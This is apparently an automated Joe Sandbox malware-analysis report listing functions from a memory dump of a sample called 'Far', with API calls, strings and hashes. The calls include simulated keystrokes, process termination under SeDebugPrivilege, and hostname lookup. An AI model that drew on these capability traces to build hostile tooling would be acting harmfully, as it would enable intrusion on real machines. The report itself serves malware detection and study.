Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: Variant$ClearCreateFromInitInitializeInstanceStringUninitialize
String ID: Failed to create object$Invalid parameter$NULL Pointer assignment
API String ID: 636576611-1287834457
Opcode ID: c70e8cdf5966cfd68d0ada46d1cdcb06f5bff22b1f1c5e1ff9aad9cb0b65ce18
Instruction ID: dcc0964c484996e90002bcec8be6f41f6b9a7828ac9b1e0660691d22453e2bee
Opcode Fuzzy Hash: c70e8cdf5966cfd68d0ada46d1cdcb06f5bff22b1f1c5e1ff9aad9cb0b65ce18
Instruction Fuzzy Hash: D7716023A0CA4AA5EB14AFA6D4502BDA760FF84F98F944032DE4E47765EF38D445E360

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D07DA94 Relevance: 15.9, APIs: 1, Strings: 8, Instructions: 117COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF73D07DC11

Strings

INF, xrefs: 00007FF73D07DB07
NAN(SNAN), xrefs: 00007FF73D07DB29
NAN(IND), xrefs: 00007FF73D07DB3F
nan(snan), xrefs: 00007FF73D07DB34
NAN, xrefs: 00007FF73D07DAF5
inf, xrefs: 00007FF73D07DB1A
nan, xrefs: 00007FF73D07DAFC
nan(ind), xrefs: 00007FF73D07DB4A

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: INF$NAN$NAN(IND)$NAN(SNAN)$inf$nan$nan(ind)$nan(snan)
API String ID: 3215553584-2617248754
Opcode ID: dbd595227be3ecf1cf9d611c3ab4529180a90320c6a12aa141b14af23a7c3b95
Instruction ID: 442390ce1bc7faa62d41adc1cab5567554fe0dae446faf071aabaa948ac7cca9
Opcode Fuzzy Hash: dbd595227be3ecf1cf9d611c3ab4529180a90320c6a12aa141b14af23a7c3b95
Instruction Fuzzy Hash: FD419D32A0EB49E9EB00DBA4E8817E977A8EB04B98F904135EE5C47B54EF3CD025D354

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0BD868 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 59networkCOMMON

Download Yara Rule

APIs

WSAStartup.WSOCK32 ref: 00007FF73D0BD888
gethostname.WSOCK32 ref: 00007FF73D0BD8A0
gethostbyname.WSOCK32 ref: 00007FF73D0BD8AB
wcscpy.LIBCMT ref: 00007FF73D0BD8E2
inet_ntoa.WSOCK32 ref: 00007FF73D0BD908
wcscpy.LIBCMT ref: 00007FF73D0BD931
WSACleanup.WSOCK32 ref: 00007FF73D0BD93E
wcscpy.LIBCMT ref: 00007FF73D0BD950

Strings

0.0.0.0, xrefs: 00007FF73D0BD8D8

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: wcscpy$CleanupStartupgethostbynamegethostnameinet_ntoa
String ID: 0.0.0.0
API String ID: 2479661705-3771769585
Opcode ID: eb198abc5cd8633a4d5b5ffaa66c4893f251783bd88e3ef7b8c34d98760a194a
Instruction ID: 9deaed13205ec2afb1cef64dd6e7cab65e23d611762bd147ce24f41f0c2a133b
Opcode Fuzzy Hash: eb198abc5cd8633a4d5b5ffaa66c4893f251783bd88e3ef7b8c34d98760a194a
Instruction Fuzzy Hash: FC217F21B0D94AA1EE24BB91E4843BDE321EF84F80FC44135D59E466E5FF6CD545D320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0F1EB8 Relevance: 15.2, APIs: 10, Instructions: 209windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF73D05EF14: GetWindowLongPtrW.USER32 ref: 00007FF73D05EF31

PostMessageW.USER32 ref: 00007FF73D0F1F2A
GetFocus.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF73D0F1F3B
GetDlgCtrlID.USER32 ref: 00007FF73D0F1F48
GetMenuItemInfoW.USER32 ref: 00007FF73D0F207F
GetMenuItemCount.USER32 ref: 00007FF73D0F209D
GetMenuItemID.USER32 ref: 00007FF73D0F20B2
GetMenuItemInfoW.USER32 ref: 00007FF73D0F20ED
GetMenuItemInfoW.USER32 ref: 00007FF73D0F2138
CheckMenuRadioItem.USER32 ref: 00007FF73D0F216F

Part of subcall function 00007FF73D0F0C64: IsWindow.USER32 ref: 00007FF73D0F0D29
Part of subcall function 00007FF73D0F0C64: IsWindowEnabled.USER32 ref: 00007FF73D0F0D36

DefDlgProcW.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF73D0F21A6

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: ItemMenu$InfoWindow$CheckCountCtrlEnabledFocusLongMessagePostProcRadio
String ID:
API String ID: 2672075419-0
Opcode ID: 191be6af68c6d9ab195f6e7c6856fe9a31fcdbc310c743d3ad28e1ea2694916b
Instruction ID: c49b85fde29de6e14bfe61c273aa396e01cea0f71aa26c2dac3acef63905cc40
Opcode Fuzzy Hash: 191be6af68c6d9ab195f6e7c6856fe9a31fcdbc310c743d3ad28e1ea2694916b
Instruction Fuzzy Hash: FE918236B0E61AA6E750AFB1D4843EDA3A5FB94F48FA00035DE0D47685EF38E5499720

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0B9FBC Relevance: 15.1, APIs: 10, Instructions: 88threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00007FF73D0B9FF0
GetForegroundWindow.USER32(?,?,?,00007FF73D0B8DD6), ref: 00007FF73D0BA001
GetWindowThreadProcessId.USER32 ref: 00007FF73D0BA00C
AttachThreadInput.USER32(?,?,?,00007FF73D0B8DD6), ref: 00007FF73D0BA020
GetWindowThreadProcessId.USER32 ref: 00007FF73D0BA036
AttachThreadInput.USER32(?,?,?,00007FF73D0B8DD6), ref: 00007FF73D0BA052
AttachThreadInput.USER32(?,?,?,00007FF73D0B8DD6), ref: 00007FF73D0BA06B
AttachThreadInput.USER32(?,?,?,00007FF73D0B8DD6), ref: 00007FF73D0BA0AA
AttachThreadInput.USER32(?,?,?,00007FF73D0B8DD6), ref: 00007FF73D0BA0C5
AttachThreadInput.USER32(?,?,?,00007FF73D0B8DD6), ref: 00007FF73D0BA0D8

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: Thread$AttachInput$Window$Process$CurrentForeground
String ID:
API String ID: 2156557900-0
Opcode ID: 318b63d8b26fcc84aa937f5e529a0c6342ee06c071bd7193752e4e6464ec8a93
Instruction ID: b76c08654b22c0ac4d809a35fe361ab1a95903eca42b370852d0ffc78cf3544a
Opcode Fuzzy Hash: 318b63d8b26fcc84aa937f5e529a0c6342ee06c071bd7193752e4e6464ec8a93
Instruction Fuzzy Hash: B3316225B1C60B67E750AFE5E48067DA6A2BB54B80FD14034CC8943654FFBEE845B660

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0AF568 Relevance: 15.1, APIs: 10, Instructions: 59keyboardsleepwindowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF73D0B1064: GetWindowThreadProcessId.USER32 ref: 00007FF73D0B1080
Part of subcall function 00007FF73D0B1064: GetCurrentThreadId.KERNEL32 ref: 00007FF73D0B1088
Part of subcall function 00007FF73D0B1064: AttachThreadInput.USER32(?,?,?,00007FF73D0AF581), ref: 00007FF73D0B10AD

MapVirtualKeyW.USER32 ref: 00007FF73D0AF58C
PostMessageW.USER32 ref: 00007FF73D0AF5A7
Sleep.KERNEL32 ref: 00007FF73D0AF5AF
MapVirtualKeyW.USER32 ref: 00007FF73D0AF5B9
MapVirtualKeyW.USER32 ref: 00007FF73D0AF5C4
PostMessageW.USER32 ref: 00007FF73D0AF5E2
Sleep.KERNEL32 ref: 00007FF73D0AF5EA
MapVirtualKeyW.USER32 ref: 00007FF73D0AF5F4
PostMessageW.USER32 ref: 00007FF73D0AF616
Sleep.KERNEL32 ref: 00007FF73D0AF61E

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: Virtual$MessagePostSleepThread$AttachCurrentInputProcessWindow
String ID:
API String ID: 685491774-0
Opcode ID: d5c4d2dcdc5be66450fd37b7a0dc9ed18aa910b8b94ddfa32769d8406b08eb10
Instruction ID: 44a55ce32ec6150d07885b87a5136d44e655b00130a53a8fb52c9bd98e706736
Opcode Fuzzy Hash: d5c4d2dcdc5be66450fd37b7a0dc9ed18aa910b8b94ddfa32769d8406b08eb10
Instruction Fuzzy Hash: CF119035F0DA0692F714ABA2E8945AD6361AFCCF80FD09838C94E83750EF3ED0549361

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0EB580 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 139windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF73D046CA0: CreateWindowExW.USER32 ref: 00007FF73D046D30
Part of subcall function 00007FF73D046CA0: GetStockObject.GDI32 ref: 00007FF73D046D4D
Part of subcall function 00007FF73D046CA0: SendMessageW.USER32 ref: 00007FF73D046D60

SendMessageW.USER32(0000001B,?,?,?,?,00007FF73D08BEB5), ref: 00007FF73D0EB691
SendMessageW.USER32(0000001B,?,?,?,?,00007FF73D08BEB5), ref: 00007FF73D0EB6AA
SetWindowPos.USER32 ref: 00007FF73D0EB6D7
wcscat.LIBCMT ref: 00007FF73D0EB739
SendMessageW.USER32 ref: 00007FF73D0EB74D
SendMessageW.USER32 ref: 00007FF73D0EB77E

Strings

-----, xrefs: 00007FF73D0EB72B
SysListView32, xrefs: 00007FF73D0EB5E0

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: MessageSend$Window$CreateObjectStockwcscat
String ID: -----$SysListView32
API String ID: 2361508679-3975388722
Opcode ID: bc564e941b47d79e87985cb8181bb6f7181df5ecdb6776c17cf3e0402f794042
Instruction ID: be40684727763d93ca056d0417300d8c388d5b01c7f1202b7d61b28a891a40d0
Opcode Fuzzy Hash: bc564e941b47d79e87985cb8181bb6f7181df5ecdb6776c17cf3e0402f794042
Instruction Fuzzy Hash: F151D332A087959AE720DFA4E8846DD73A5FB88B84F80013ADE4C07B55DF38D555D740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0ED558 Relevance: 13.7, APIs: 9, Instructions: 163windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,?,?,00007FF73D08C2F7), ref: 00007FF73D0ED63E
ShowWindow.USER32(00000000,?,?,00007FF73D08C2F7), ref: 00007FF73D0ED67D
ShowWindow.USER32 ref: 00007FF73D0ED68B
SetFocus.USER32 ref: 00007FF73D0ED694

Part of subcall function 00007FF73D0EF8F4: DeleteObject.GDI32 ref: 00007FF73D0EF94A

GetWindowLongW.USER32 ref: 00007FF73D0ED6DC
SetWindowLongPtrW.USER32 ref: 00007FF73D0ED6F1
InvalidateRect.USER32(00000000,?,?,00007FF73D08C2F7), ref: 00007FF73D0ED72B
SendMessageW.USER32(00000000,?,?,00007FF73D08C2F7), ref: 00007FF73D0ED76A
SendMessageW.USER32 ref: 00007FF73D0ED77E

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: Window$MessageSend$LongShow$DeleteFocusInvalidateObjectRect
String ID:
API String ID: 3210457359-0
Opcode ID: e14b2db2c6283d98dab0a8685c259970414987b03382c445c93d418f026a7faf
Instruction ID: d3845135f28d0b5d114d97e1d903dd1d1307edb42138f738536480079119c417
Opcode Fuzzy Hash: e14b2db2c6283d98dab0a8685c259970414987b03382c445c93d418f026a7faf
Instruction Fuzzy Hash: F161E326A0C94FA6E734BBA194503BAA711FF88FA4F948035D96D066D1EF7CE441A330

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0F1C60 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 142windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF73D05EF14: GetWindowLongPtrW.USER32 ref: 00007FF73D05EF31

Part of subcall function 00007FF73D04155C: GetCursorPos.USER32 ref: 00007FF73D04158B
Part of subcall function 00007FF73D04155C: ScreenToClient.USER32 ref: 00007FF73D0415AA
Part of subcall function 00007FF73D04155C: GetAsyncKeyState.USER32 ref: 00007FF73D0415DC
Part of subcall function 00007FF73D04155C: GetAsyncKeyState.USER32 ref: 00007FF73D0415FC

ImageList_DragLeave.COMCTL32 ref: 00007FF73D0F1CE0
ImageList_EndDrag.COMCTL32 ref: 00007FF73D0F1CE6
ReleaseCapture.USER32 ref: 00007FF73D0F1CEC
SetWindowTextW.USER32 ref: 00007FF73D0F1D9A
SendMessageW.USER32 ref: 00007FF73D0F1DAF

Strings

@GUI_DROPID, xrefs: 00007FF73D0F1DD5
@GUI_DRAGFILE, xrefs: 00007FF73D0F1E1C

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: AsyncDragImageList_StateWindow$CaptureClientCursorLeaveLongMessageReleaseScreenSendText
String ID: @GUI_DRAGFILE$@GUI_DROPID
API String ID: 3721556410-2107944366
Opcode ID: 97ef0b700df61ad5308a7d3f9d8e965a8498eee521ee6822d8ac151ff3cc546f
Instruction ID: bb89b03e10628c2d4425d08c3027db47bcab26576d237d1a8fdfcc4d8c401625
Opcode Fuzzy Hash: 97ef0b700df61ad5308a7d3f9d8e965a8498eee521ee6822d8ac151ff3cc546f
Instruction Fuzzy Hash: 5E61E232A08A5AA5EB00FFA1E8845ED7774FB44B88FD00032ED1D13AA5EF39D449D720

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0DF70C Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 138COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF73D0BCAD8: CreateToolhelp32Snapshot.KERNEL32 ref: 00007FF73D0BCB13
Part of subcall function 00007FF73D0BCAD8: Process32FirstW.KERNEL32 ref: 00007FF73D0BCB23
Part of subcall function 00007FF73D0BCAD8: FindCloseChangeNotification.KERNELBASE ref: 00007FF73D0BCC2D

OpenProcess.KERNEL32 ref: 00007FF73D0DF79C
GetLastError.KERNEL32 ref: 00007FF73D0DF7AE
OpenProcess.KERNEL32 ref: 00007FF73D0DF7E7
TerminateProcess.KERNEL32 ref: 00007FF73D0DF88E
GetLastError.KERNEL32 ref: 00007FF73D0DF898
CloseHandle.KERNEL32 ref: 00007FF73D0DF8E6

Strings

SeDebugPrivilege, xrefs: 00007FF73D0DF7BF

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: Process$CloseErrorLastOpen$ChangeCreateFindFirstHandleNotificationProcess32SnapshotTerminateToolhelp32
String ID: SeDebugPrivilege
API String ID: 1701285019-2896544425
Opcode ID: 420af2fcfa7bb0eae6f8d95c1fd7ddabf97753f1d1f6881c009eb16056507c85
Instruction ID: 7991ac6ada40060dc84856109ce30c88f7003d3b4e34c37ba6f73d711efa76fa
Opcode Fuzzy Hash: 420af2fcfa7bb0eae6f8d95c1fd7ddabf97753f1d1f6881c009eb16056507c85
Instruction Fuzzy Hash: 04519262A0C25AA2EB04FFA6C5A437DABA0FF84F44F858431DA0D03252EF3CD4059B20

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0BBA6C Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 70windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF73D0693B8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF73D0693DF

LoadIconW.USER32 ref: 00007FF73D0BBB28

Strings

stop, xrefs: 00007FF73D0BBAF4
question, xrefs: 00007FF73D0BBADA
info, xrefs: 00007FF73D0BBAC0
blank, xrefs: 00007FF73D0BBAA1
warning, xrefs: 00007FF73D0BBB0E

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: IconLoad_invalid_parameter_noinfo
String ID: blank$info$question$stop$warning
API String ID: 4060274358-404129466
Opcode ID: d1a75cea2c5cc2fa01692c85f84196dc14653c098586b10a1b80e983dbda5b2d
Instruction ID: d6d7092e3b67d11c40acc4b279673066efefa18cca0ec120e79b9db576fcab19
Opcode Fuzzy Hash: d1a75cea2c5cc2fa01692c85f84196dc14653c098586b10a1b80e983dbda5b2d
Instruction Fuzzy Hash: 1E216221B0C78BA2FA21BB95B8506BAE751AF54F80FC44035DD4D47799FFBCE441A620

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0BD2B0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF73D0BD2C4
LoadStringW.USER32 ref: 00007FF73D0BD2DA
GetModuleHandleW.KERNEL32 ref: 00007FF73D0BD2E2
LoadStringW.USER32 ref: 00007FF73D0BD2FE
wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF73D0BD331
MessageBoxW.USER32 ref: 00007FF73D0BD34D

Strings

%s (%d) : ==> %s: %s %s, xrefs: 00007FF73D0BD32A

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: HandleLoadModuleString$Messagewprintf
String ID: %s (%d) : ==> %s: %s %s
API String ID: 4051287042-3128320259
Opcode ID: e512a0270436ce9eaad3688259e2a790ec3cc9f55dcbd2e9a693a545aeb19a76
Instruction ID: a601db7dba69e0aa5dc25b23216daa3c3f1fc1c586f8a5feb265935b0bfe569d
Opcode Fuzzy Hash: e512a0270436ce9eaad3688259e2a790ec3cc9f55dcbd2e9a693a545aeb19a76
Instruction Fuzzy Hash: 3F11657171DB86A1D734AB90F4807EEA364FB48B44FD00436D68E42654EF7CD149D760

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0C18A8 Relevance: 10.7, APIs: 7, Instructions: 248COMMON

Download Yara Rule

APIs

SafeArrayGetVartype.OLEAUT32 ref: 00007FF73D0C1993
SafeArrayAccessData.OLEAUT32 ref: 00007FF73D0C19E9
SafeArrayAccessData.OLEAUT32 ref: 00007FF73D0C1AD0
SafeArrayUnaccessData.OLEAUT32 ref: 00007FF73D0C1AF7
SafeArrayAccessData.OLEAUT32 ref: 00007FF73D0C1B08
SafeArrayAccessData.OLEAUT32 ref: 00007FF73D0C1B76
SafeArrayAccessData.OLEAUT32 ref: 00007FF73D0C1BEB

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: ArraySafe$Data$Access$UnaccessVartype
String ID:
API String ID: 2550207440-0
Opcode ID: ca8bd74eda99ae4a02718a2d0e70d01010210e65895fe1a450aa3131833b566d
Instruction ID: 14c64d9d4c03f9bc01801542ac1ba94a2eca1436e45e17ee6fa6c45a687d1741
Opcode Fuzzy Hash: ca8bd74eda99ae4a02718a2d0e70d01010210e65895fe1a450aa3131833b566d
Instruction Fuzzy Hash: CBA1AD22A0C60AA5FB14AFE5C4943FCA760EB44F84F954031DE4D4B295EF7CE449E362

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0B9D0C Relevance: 10.7, APIs: 7, Instructions: 153windowCOMMON

Download Yara Rule

APIs

GetParent.USER32 ref: 00007FF73D0B9D61
GetKeyboardState.USER32 ref: 00007FF73D0B9D75
SetKeyboardState.USER32 ref: 00007FF73D0B9DC4
PostMessageW.USER32 ref: 00007FF73D0B9DFA
PostMessageW.USER32 ref: 00007FF73D0B9E1F
PostMessageW.USER32 ref: 00007FF73D0B9E68
PostMessageW.USER32 ref: 00007FF73D0B9E91

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: a9e461c7fc002a9558b315f25b571deae9464d7729ec8a03eb2e8c6bfcc3fc89
Instruction ID: 9d2a0e226acac04f3ca9ca1a5d81abfff9d6310276c24f70bc499eca9bfba0b8
Opcode Fuzzy Hash: a9e461c7fc002a9558b315f25b571deae9464d7729ec8a03eb2e8c6bfcc3fc89
Instruction Fuzzy Hash: AA51F292A0D2D566F771ABB2610077EAF61FB46FC0FC88074DAC917B42DF29E4549320

